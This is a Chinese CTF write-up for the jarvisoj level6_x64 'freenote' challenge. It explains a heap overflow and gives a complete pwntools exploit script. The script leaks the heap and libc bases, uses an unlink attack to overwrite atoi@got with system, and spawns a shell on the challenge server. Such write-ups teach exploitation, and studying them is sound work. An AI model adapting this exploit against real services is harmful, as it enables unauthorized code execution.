标签：题目 recv bool tps 技术分享 结构体 realloc sum payload
level6 32位的我没有调出来，貌似32位的堆结构和64位不太一样，嘤嘤嘤？，所以做了一下这个64位的，题目地址，level6_x64
首先看一下程序的结构体
struct list //0x1810 { int all=256; int now_sum; struct _note *note; } struct _note { bool inuse; int len; char *content; }
然后看一下出现漏洞的edit和delete函数
所以这一个题只有一种利用方式就是利用溢出unlink实现一次任意地址写，修改atoi@got为system_addr
思路如下：
1.leak heap base计算出保存&chunk0的地址以便unlink
2.unlink
3.leak libc_base
4.modify atoi@got to system to get shell
脚本如下，里边的一个坑是构造payload的时候要注意read和realloc的长度限制
from pwn import * context.log_level=‘DEBUG‘ r=remote(‘pwn2.jarvisoj.com‘,9886) elf=ELF(‘./freenote_x64‘) libc=ELF(‘./libc-2.19.so‘) def list(): r.sendlineafter(‘choice: ‘,‘1‘) def new(payload): r.sendlineafter(‘choice: ‘,‘2‘) r.sendlineafter(‘new note: ‘,str(len(payload))) r.sendafter(‘note: ‘,payload) def edit(num,payload): r.sendlineafter(‘choice: ‘,‘3‘) r.sendlineafter(‘number: ‘,str(num)) r.sendlineafter(‘note: ‘,str(len(payload))) r.sendafter(‘your note: ‘,payload) def delete(num): r.sendlineafter(‘choice: ‘,‘4‘) r.sendlineafter(‘number: ‘,str(num)) #leak heap base new(‘a‘*0x80)#0 new(‘a‘*0x80)#1 new(‘a‘*0x80)#2 new(‘a‘*0x80)#3 new(‘a‘*0x80)#4 #malloc chunk4 to avoid chunk3 consolidated to topchunk delete(3) delete(1) edit(0,‘a‘*0x80+‘b‘*0x10) #overwrite next chunk‘header to leak list() r.recvuntil(‘b‘*0x10) heap_base=u64(r.recvuntil(‘\x0a‘,drop=True).ljust(0x8,‘\x00‘))-0x19d0#0x1810+3*0x90+0x10 chunk0=heap_base+0x30 success(‘leak heap base‘) success(‘heapbase:‘+hex(heap_base)) sleep(1) #unlink payload=p64(0)+p64(0x80)+p64(chunk0-3*8)+p64(chunk0-2*8)+‘a‘*(0x80-4*8)+p64(0x80)+p64(0x90) payload=payload.ljust(0x100,‘\x00‘) edit(0,payload) delete(1) success(‘unlink‘) sleep(1) #leak libc base payload2=p64(2)+p64(1)+p64(0x80)+p64(chunk0)+p64(1)+p64(8)+p64(elf.got[‘atoi‘]) payload2=payload2.ljust(0x100,‘\x00‘) edit(0,payload2) list() r.recvuntil(‘1. ‘) libc_base=u64(r.recvuntil(‘\x0a‘,drop=True).ljust(0x8,‘\x00‘))-libc.sym[‘atoi‘] success(hex(libc_base)) #modify atoi to system to getshell sys_addr=libc_base+libc.sym[‘system‘] edit(1,p64(sys_addr))#*(&atoi@got)=sys_addr r.sendlineafter(‘choice: ‘,‘/bin/sh\0‘) r.interactive()
标签：题目 recv bool tps 技术分享 结构体 realloc sum payload
原文地址：https://www.cnblogs.com/snip3r/p/9962960.html
